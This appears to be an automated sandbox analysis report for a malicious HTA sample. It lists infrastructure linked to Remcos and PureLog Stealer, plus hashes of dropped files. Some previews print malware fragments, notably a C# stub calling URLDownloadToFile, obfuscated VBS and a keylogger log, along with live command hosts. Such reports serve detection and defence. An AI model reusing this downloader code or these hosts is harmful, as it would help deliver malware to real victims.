Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: LJ1IZDkHyE.hta

Simulations

Behavior and APIs

Time	Type	Description
12:50:00	API Interceptor	89x Sleep call for process: powershell.exe modified
12:50:50	API Interceptor	6359612x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.168.32.148	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	104.168.32.148/345/CHPPZA.txt
45.134.140.70	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse
207.241.227.240	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse
	TM3utH2CsU.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse
	Fwo62RjOqH.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse
	1zbL83sqmd.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse
	AWS 1301241710.docx.doc	Get hash	malicious	Remcos, PureLog Stealer	Browse
	Order draft.vbs	Get hash	malicious	Azorult, PureLog Stealer	Browse
	SPEC.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse
	US0914424A.xla.xlsx	Get hash	malicious	Remcos, PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ramcxx.duckdns.org	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	45.134.140.70
ia600100.us.archive.org	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	207.241.227.240
	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	Fwo62RjOqH.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	1zbL83sqmd.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	AWS 1301241710.docx.doc	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	Order draft.vbs	Get hash	malicious	Azorult, PureLog Stealer	Browse	207.241.227.240
	SPEC.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	US0914424A.xla.xlsx	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	IEnetbookCookies.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	207.241.227.240

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INTERNET-ARCHIVEUS	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	207.241.227.240
	TM3utH2CsU.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	207.241.227.240
	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	Fwo62RjOqH.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	1zbL83sqmd.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	AWS 1301241710.docx.doc	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	Order draft.vbs	Get hash	malicious	Azorult, PureLog Stealer	Browse	207.241.227.240
	SPEC.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	US0914424A.xla.xlsx	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
INETLTDTR	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	45.134.140.70
	file.exe	Get hash	malicious	Unknown	Browse	5.104.75.170
	file.exe	Get hash	malicious	Unknown	Browse	5.104.75.170
	file_5822aee2333945a68f99cf2cfdd0e024_2024-09-16_14_28_33_034000.zip	Get hash	malicious	Unknown	Browse	84.252.92.10
	Google%20Chrome1.exe	Get hash	malicious	Unknown	Browse	89.22.236.120
	Chrome.exe	Get hash	malicious	Unknown	Browse	89.22.236.120
	LEK1JCI81P.exe	Get hash	malicious	RedLine, Snake Keylogger, StormKitty, SugarDump, VIP Keylogger, XWorm	Browse	91.92.120.13
	sVfXReO3QI.exe	Get hash	malicious	Unknown	Browse	45.128.38.162
	ExeFile (305).exe	Get hash	malicious	Emotet	Browse	178.211.45.66
	ExeFile (394).exe	Get hash	malicious	Emotet	Browse	178.211.45.66
AS-COLOCROSSINGUS	DHL Receipt_AWB811070484778.xls	Get hash	malicious	Unknown	Browse	192.3.220.20
	DHL Receipt_AWB811070484778.xls	Get hash	malicious	Unknown	Browse	192.3.220.20
	SDWLLRJcsY.exe	Get hash	malicious	Remcos, GuLoader	Browse	107.173.4.16
	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	104.168.32.148
	Fwo62RjOqH.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	192.210.150.29
	1zbL83sqmd.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	192.3.146.145
	K0hpP6V2fo.rtf	Get hash	malicious	DBatLoader, Remcos	Browse	107.175.243.142
	C8G355qROx.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	107.175.113.252
	RFQ-948563836483638563735435376354.xls	Get hash	malicious	Remcos, GuLoader	Browse	107.173.4.16
	xNfDl1NeaI.exe	Get hash	malicious	Remcos, GuLoader	Browse	107.173.4.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Confirmaci#U00f3n de pago_shrunk.exe	Get hash	malicious	AgentTesla	Browse	207.241.227.240
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	207.241.227.240
	SecuriteInfo.com.Win32.MalwareX-gen.14926.30373.exe	Get hash	malicious	MicroClip	Browse	207.241.227.240
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	207.241.227.240
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	207.241.227.240
	https://osoulksa.com/c/Fidelityme	Get hash	malicious	HTMLPhisher	Browse	207.241.227.240
	http://rkanet.com	Get hash	malicious	Unknown	Browse	207.241.227.240
	NTGcon.msi	Get hash	malicious	Unknown	Browse	207.241.227.240
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	207.241.227.240
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	207.241.227.240

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	3.379519383183141
Encrypted:	false
SSDEEP:	3:rhlKlRlBfKlnWi5JWRal2Jl+7R0DAlBG45klovDl6v:6l1Cl15YcIeeDAlOWAv
MD5:	4C076563C2368A3C5D5C4B579D225744
SHA1:	275F0A1998C122D6643AE9CBCA1BCA0DE2797F46
SHA-256:	197F83C2C73640E41F73B2F5E88615FAA7EA5ADC023715481D62796D14C71C67
SHA-512:	04D2B3FB390394459EB5A58CA280C9EA745851512E548A4445E8D2441FAA6018A6D5EC39D0DA64C5C1073D6674F9A62CE1784BDF218847A8926C557CE2E5792F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.0.9./.2.5. .1.2.:.5.0.:.1.8. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nicemeetingsofpictureclearthingstobe[1].tiff

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	260242
Entropy (8bit):	3.765032305777867
Encrypted:	false
SSDEEP:	3072:LwUs2qx9vFgTOuYTLaGHcntHONrLgt5psGwH7Hkyb9qGjK6Heo7sQ5CoBAlbjZft:MUgvFgTfYiGHs2/2Gj+ULIoSVZ+zO
MD5:	10A145CB87654A33C6C0BEDA947466B8
SHA1:	A504192F1B5AC44E6E49B4BC9EF660220C604469
SHA-256:	80E7C85EEB0A57E9F50E7D84E0EB1B2F2230837B53080D24696FAB7373E9BC03
SHA-512:	FBC4F71668B7AF09338AE7060C04DD8FEED091B3B7ADB490647C92D731CEFCA4B1E929D36F750563FF0AFA14B797984625EAF964F25A3F71B597343D79EC891A
Malicious:	false
Preview:	..........f.G.U.W.L.a.C.k.k.R.k.W.c.W.a.l.K.J.z.c.K.L.t.L.z. .=. .".d.T.b.A.p.U.N.c.K.A.p.S.K.L.f.U.H.z.K.b.f.c.o.U.l.".....L.P.B.n.c.L.i.u.e.G.e.k.q.T.c.a.n.t.i.s.s.o.c.i.a.l.i.s.t.a.L.P.p.O.B.P.h.e. .=. .".K.z.l.A.Q.S.K.q.Z.m.e.L.p.t.a.c.a.e.e.A.W.u.o.o.i.".....W.b.b.u.W.h.z.U.c.L.i.G.z.v.Q.p.P.G.O.o.J.c.U.r.U. .=. .".L.P.Z.K.i.q.A.L.i.Z.t.P.P.U.U.O.i.i.h.p.t.R.c.d.G.".....p.v.K.Z.o.J.o.H.l.m.m.K.g.p.G.H.e.G.H.Z.z.n.K.L.i. .=. .".a.d.l.W.v.L.P.p.j.Z.R.W.e.k.q.U.W.e.Z.a.N.G.t.A.L.".....B.i.U.z.J.L.L.J.W.b.p.C.Z.L.p.i.R.e.H.s.b.N.W.O.Z. .=. .".R.p.a.L.k.G.N.W.Q.k.W.z.L.W.W.g.W.L.p.x.u.d.G.L.c.".....e.G.g.z.N.t.o.i.W.u.W.f.B.k.c.z.c.m.u.q.Z.j.H.i.g. .=. .".Q.i.e.L.L.A.p.L.L.K.W.b.K.f.f.R.L.L.O.Z.z.B.h.W.i.".....P.W.K.c.c.U.m.c.m.Z.j.f.u.d.n.e.c.P.U.W.W.R.v.f.L. .=. .".l.U.O.P.r.G.C.v.i.K.N.e.i.f.i.t.W.A.I.t.K.Z.Z.k.L.".....a.S.i.z.W.P.O.Q.j.e.p.q.h.h.f.l.Z.b.G.O.s.c.p.A.p. .=. .".L.s.P.K.G.P.N.c.T.U.L.G.k.i.k.m.q.f.o.g.L.o.W.L.O.".....L.b.n.m.I.g.L.A.P.z.J.U.h.R.i.Z.v.K.P.e.i.N.i.K.s. .

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulF//lz:NllU
MD5:	795BE6536C807E7B352D2B7A3A42EC19
SHA1:	DE9DB41949439FAA0A71910DFB199802DB89A9C4
SHA-256:	73940D9FF98EB0D3125D12893A4D2AEBDA218FE74F2AB528CDBE2B3BEF5A56EC
SHA-512:	EADAC6DB54621D7ECB0C7086C6321B39D97F49D4AEDA6253190EDF39F2A55F83C294BAC97BDF2DFA1B901DCB648EE0FDF2C3379FA44A593F1BBE4AD5DB5BCBFE
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\RES9FA0.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Wed Sep 25 18:26:38 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.976361557496998
Encrypted:	false
SSDEEP:	24:HpzW916uZHPwKTFexmfwI+ycuZhN7GakS6XPNnqS2d:584KTAxmo1ul7Ga36FqSG
MD5:	A48B039C4F485CE714534ED43C871C20
SHA1:	75C7E16E28437EA08654968106F952A4B5598A7C
SHA-256:	DCD61E0AF07048F541986D66E6C9F4BDDD55A5BFF18C347BC86F031957563A8F
SHA-512:	6401D186FE021265A1BC1F002B54CBEF2D34647384774E85D466C442B4F3130ED792605D06A104703B1EAD55D11BAB024B7AE3C05DF3B0595ED17A854EDB4E7E
Malicious:	false
Preview:	L....U.f.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\rfrvbpim\CSCF3108577CD134F5DA2E7D7F2BD5C877.TMP................#S...$...\..............5.......C:\Users\user\AppData\Local\Temp\RES9FA0.tmp.-.<....................a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...r.f.r.v.b.p.i.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3avg21oj.lby.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avhm3mxt.kyo.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hwcckyoy.geo.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jglgku3t.ix2.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jshrsksj.riy.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l2e2crop.3g1.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ooaobhj5.cfc.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qu2krlml.ehe.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\rfrvbpim\CSCF3108577CD134F5DA2E7D7F2BD5C877.TMP

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.086479743002541
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryBGak7Ynqq6XPN5Dlq5J:+RI+ycuZhN7GakS6XPNnqX
MD5:	EDAB2353B7EFC12415931D5CDFD614AC
SHA1:	52A94193F3369251D5ADA83A6F445D5F842C50A9
SHA-256:	5110771526C40D0DA5237711E6D6309E8ABDDAC086A4914B9A4079CC15CE1009
SHA-512:	D0BCDBA73BA80940AD81DCF0B38ACC3E7E792D0825D75A84EE8A1274B005BF2442A94AC4680D37510444805AB8D565EDFBA3DA487A5B1459B249DBD7651D8BB0
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...r.f.r.v.b.p.i.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...r.f.r.v.b.p.i.m...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.0.cs

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (357)
Category:	dropped
Size (bytes):	474
Entropy (8bit):	3.7573860321684496
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuSOUynPMOfPQXReKJ8SRHy4HNvma84WuO0Vf1Ky:V/DTLDfux1twXfHmq1Ky
MD5:	F884800327D4027747DA358D54A2953C
SHA1:	B1D1103720A4787BB3CB5832461F367275978422
SHA-256:	13DE24EEAFC24C4A53199D015B92DD5DDCD552CEAA74FB14D2BBB26DC6366E9B
SHA-512:	CBFD55F5481DA04F30D8590B64CC314751B158CBF775686A11F430B0619D069ADC16C2A387FD1789B49A10AA760B4AB36CB12F96F21C4208ABB89A5F0D52C520
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace zgrfzBkDlie.{. public class ko. {. [DllImport("URlMON.Dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr xswB,string vCAymqHW,string sDr,uint LR,IntPtr gpyRsuh);.. }..}.

C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.cmdline

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.192554434438355
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923fXxX/J0zxs7+AEszI923fXxXVFH:p37Lvkmb6Kzph0WZE2pF9
MD5:	FA1654F04E410D6688F4547006B0036A
SHA1:	B58227224FE4F02AB43B3B1E5E5E37D94B0BAE0B
SHA-256:	89B8285E3C6C29E7F6BFB1E07143CBBF35776C2AC84A03FD4C1E28A62490F62C
SHA-512:	F926AF8DB9B92DCF9122274DD68E6A78A04ED219D4F2DCBE982BFCBD5E0F682D7B4F9711B65A9955CD1DB90DE815FF4FD1F0A465FBF47AF206E52725AF1C0388
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.0.cs"

C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.dll

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.8118452624656625
Encrypted:	false
SSDEEP:	24:etGSjPBG5eM7p8s8SgkCMqzAZwcL4tkZfJAR2pqhkWI+ycuZhN7GakS6XPNnq:6ksM+DMoywivJOR4EH1ul7Ga36Fq
MD5:	2EAB0F1D0B0A9365B7CBFA1E054710B1
SHA1:	23A4430444673FFD277D27EA31C0F56DEBF38E9D
SHA-256:	E41896F226ECB90A08BF1C7DDD8155E0EE88926916B7DE126971178793631959
SHA-512:	56DFF43C61385D7A9F446C09E286CDB6490C721555BA94E2328FE5C55C7FF8C065042D43664AD5D5FFB9FEE8C9E76CD5759B75FB5D33BDD18405B05DCAF921DE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U.f...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................6./.....r.....r.......................................... =.....P ......O.........U.....Z.....c.....g.....j...O.....O...!.O.....O.......!............=.......................................&..........<Module>.rf

C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.out

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (449), with CRLF, CR line terminators
Category:	modified
Size (bytes):	870
Entropy (8bit):	5.2784419133544445
Encrypted:	false
SSDEEP:	24:KMoqd3ka6KzhE2H4Kax5DqBVKVrdFAMBJTH:doika6ahE2H4K2DcVKdBJj
MD5:	9B2751C9BF59C7226FB629A8A42BB24F
SHA1:	97A534393A034D874696A62B659C2AF8F6D0FC05
SHA-256:	5CD4794F5154781B983E3E3CF52DE602E20D3448E3B60A67F7E7FF90EF5A60A9
SHA-512:	D20C9F47B651A42D7B8A53247E232A3997E7489B00A3EC2814065164D3882D20AEDB37318A159D459901DD172EF48D6998CFB9CDF7F8A9FD87C640212B0DC9A0
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	260242
Entropy (8bit):	3.765032305777867
Encrypted:	false
SSDEEP:	3072:LwUs2qx9vFgTOuYTLaGHcntHONrLgt5psGwH7Hkyb9qGjK6Heo7sQ5CoBAlbjZft:MUgvFgTfYiGHs2/2Gj+ULIoSVZ+zO
MD5:	10A145CB87654A33C6C0BEDA947466B8
SHA1:	A504192F1B5AC44E6E49B4BC9EF660220C604469
SHA-256:	80E7C85EEB0A57E9F50E7D84E0EB1B2F2230837B53080D24696FAB7373E9BC03
SHA-512:	FBC4F71668B7AF09338AE7060C04DD8FEED091B3B7ADB490647C92D731CEFCA4B1E929D36F750563FF0AFA14B797984625EAF964F25A3F71B597343D79EC891A
Malicious:	true
